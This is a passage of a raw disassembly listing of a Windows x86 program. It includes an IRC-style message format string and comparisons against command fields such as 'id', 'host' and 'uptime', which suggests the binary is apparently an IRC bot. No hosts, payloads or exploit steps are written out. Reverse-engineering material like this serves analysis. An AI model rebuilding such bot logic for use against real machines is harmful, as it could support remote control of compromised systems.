		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_4129E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B10	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_4368D0
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BC0	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C4E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412BC0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C00	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C30	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C30	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C80	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
sub_412C80	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D20:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_4399EE
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_413046
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443CFC ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412EA5
		xor	edi, edi


loc_412EA5:				; CODE XREF: ___:00412EA1j
		push	offset asc_443CF8 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412EBC
		mov	edi, 1


loc_412EBC:				; CODE XREF: ___:00412EB5j
		push	offset asc_443CF4 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED3
		mov	edi, 2


loc_412ED3:				; CODE XREF: ___:00412ECCj
		push	offset asc_443CF0 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412EEA
		mov	edi, 3


loc_412EEA:				; CODE XREF: ___:00412EE3j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F44
		test	edi, edi
		jnz	short loc_412F1A
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44754A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412F44
		jmp	short loc_412F37
; ---------------------------------------------------------------------------


loc_412F1A:				; CODE XREF: ___:00412EFEj
		cmp	edi, 1
		jnz	short loc_412F44
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44754A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F44


loc_412F37:				; CODE XREF: ___:00412F18j
		push	0
		push	esi
		mov	ecx, offset byte_447267
		call	sub_401A32


loc_412F44:				; CODE XREF: ___:00412EFAj
					; ___:00412F16j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F97
		test	edi, edi
		jnz	short loc_412F78
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D608D
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412FF9
		jmp	short loc_412FEC
; ---------------------------------------------------------------------------


loc_412F78:				; CODE XREF: ___:00412F58j
		cmp	edi, 1
		jnz	short loc_412FF9
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D608D
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412FF9
		jmp	short loc_412FEC
; ---------------------------------------------------------------------------


loc_412F97:				; CODE XREF: ___:00412F54j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF9
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412FCD
		cmp	eax, ebx
		jz	short loc_412FF9
		jmp	short loc_412FEC
; ---------------------------------------------------------------------------


loc_412FCD:				; CODE XREF: ___:00412FC5j
		cmp	edi, 1
		jnz	short loc_412FD8
		cmp	eax, ebx
		jnz	short loc_412FF9
		jmp	short loc_412FEC
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FD0j
		cmp	edi, 2
		jnz	short loc_412FE3
		cmp	eax, ebx
		jle	short loc_412FF9
		jmp	short loc_412FEC
; ---------------------------------------------------------------------------


loc_412FE3:				; CODE XREF: ___:00412FDBj
		cmp	edi, 3
		jnz	short loc_412FF9
		cmp	eax, ebx
		jge	short loc_412FF9


loc_412FEC:				; CODE XREF: ___:00412F76j
					; ___:00412F95j ...
		push	0
		push	esi
		mov	ecx, offset byte_447267
		call	sub_401A32


loc_412FF9:				; CODE XREF: ___:00412F70j
					; ___:00412F7Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_413048
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: ___:00412D59j
		mov	al, 1


loc_413048:				; CODE XREF: ___:00413044j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413150	proc near		; CODE XREF: sub_401654j
		nop
		call	near ptr 2820861h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_413150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413190	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413190	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413260	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_413260	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413278
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413278:				; CODE XREF: ___:0041326Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413290	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_413290	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413350	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_413350	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413440	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_4134E7
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_4134E7


loc_4134A8:				; CODE XREF: sub_413440+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41350C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_4134A8


loc_4134E7:				; CODE XREF: sub_413440+2Ej
					; sub_413440+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41350C:				; CODE XREF: sub_413440+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_413440	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413580	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_413653
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_413653


loc_4135EF:				; CODE XREF: sub_413580+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_41361C
		mov	edi, [esi]


loc_41361C:				; CODE XREF: sub_413580+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41367B
		test	esi, esi
		jnz	short loc_41367B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_4135EF


loc_413653:				; CODE XREF: sub_413580+31j
					; sub_413580+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_413666:				; CODE XREF: sub_413580+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41367B:				; CODE XREF: sub_413580+AAj
					; sub_413580+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_413666
sub_413580	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4136E0	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4136E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413784
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413784


loc_413746:				; CODE XREF: sub_4136E0+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_4137B6
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_413746


loc_413784:				; CODE XREF: sub_4136E0+2Bj
					; sub_4136E0+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_4137B6:				; CODE XREF: sub_4136E0+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_4136E0	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413850	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413983
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F20
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_4138EB:				; CODE XREF: sub_413850+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_4138EB
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41397E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41399C
; ---------------------------------------------------------------------------


loc_41397E:				; CODE XREF: sub_413850+10Cj
		call	sub_401226


loc_413983:				; CODE XREF: sub_413850+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41399C:				; CODE XREF: sub_413850+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_413850	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A20	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413ACE
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413ACE
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
